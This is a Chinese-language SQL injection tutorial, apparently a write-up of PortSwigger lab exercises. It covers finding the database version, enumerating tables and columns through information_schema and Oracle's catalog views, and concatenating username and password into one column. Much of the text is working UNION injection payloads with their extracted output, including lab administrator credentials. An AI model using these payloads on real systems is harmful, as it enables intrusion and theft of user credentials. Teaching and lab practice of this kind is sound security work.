前言
在利用SQL注入漏洞时,通常需要收集数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库所包含的表和列的内容。
查询数据库类型和版本
不同的数据库提供了不同的查询其版本的方式。 您通常需要尝试不同的查询来查找有效的查询,从而可以确定数据库软件的类型和版本。
确定某些流行数据库类型的数据库版本的查询如下:
例如,您可以通过以下输入使用UNION攻击:
' UNION SELECT @@version--
这可能返回如下所示的输出,确认数据库是Microsoft SQL Server以及所使用的版本:
示例1
其实上图只要将from后面稍微改一改即可:
示例2
使用Burp Suite拦截和修改设置产品类别过滤器的请求。
确定查询返回的列数以及哪些列包含文本数据(具体操作详见上一篇)
验证查询返回两个列,它们都包含文本,在category参数中使用如下有效负载:'+UNION+SELECT+'abc','def'#
使用以下有效负载来显示数据库版本:'+UNION+SELECT+@@version,+NULL#
列出数据库的内容
大多数数据库类型(Oracle除外)都有一组称为信息模式的视图,它们提供关于数据库的信息。
您可以查询information_schema.tables
以列出数据库中的表:
SELECT * FROM information_schema.tables
这将返回如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ===================================================== MyDatabase dbo Products BASE TABLE MyDatabase dbo Users BASE TABLE MyDatabase dbo Feedback BASE TABLE
此输出表明存在三个表,分别称为“产品”,“用户”和“反馈”。
然后,您可以查询information_schema.columns以列出各个表中的列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
这将返回如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ================================================================= MyDatabase dbo Users UserId int MyDatabase dbo Users Username varchar MyDatabase dbo Users Password varchar
示例:输出显示指定表中的列以及每列的数据类型
里面主要是划红线的地方;
再看下面一个payload:
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ihdmlc'--
'+UNION+SELECT+username_uwlfut,+password_efkeac+FROM+users_ihdmlc--
Oracle上的信息架构
在Oracle上,您可以通过稍有不同的查询获得相同的信息。
您可以通过查询all_tables列出表:
SELECT * FROM all_tables
您可以通过查询all_tab_columns列出列:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
示例
'+UNION+SELECT+'abc','def'+FROM+DUAL--
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_PQHJGZ'--
PASSWORD_AHCZXT USERNAME_FWAHRU
'+UNION+SELECT+USERNAME_FWAHRU,PASSWORD_AHCZXT+FROM+USERS_PQHJGZ--
在单个列中检索多个值
在前面的示例中,假设查询仅返回单个列。
通过将值串联在一起,可以轻松地在单个列中同时检索多个值,理想情况下,还可以使用合适的分隔符来区分组合的值。 例如,在Oracle上,您可以提交输入:
' UNION SELECT username || '~' || password FROM users--
它使用双管道序列||,这是Oracle上的字符串连接操作符。注入的查询将用户名和密码字段的值连接在一起,以~字符分隔。例如,查询的结果将允许您读取所有的用户名和密码:
... administrator~s3cure wiener~peter carlos~montoya ...
注意,不同的数据库使用不同的语法来执行字符串连接。有关更多细节,请参见SQL注入备忘单: https://portswigger.net/web-security/sql-injection/cheat-sheet。
'+UNION+SELECT+NULL,'abc'--
示例
'+UNION+SELECT+NULL,username||'~'||password+from+users--
administrator~dqjdhb7q21vlpoqar7ze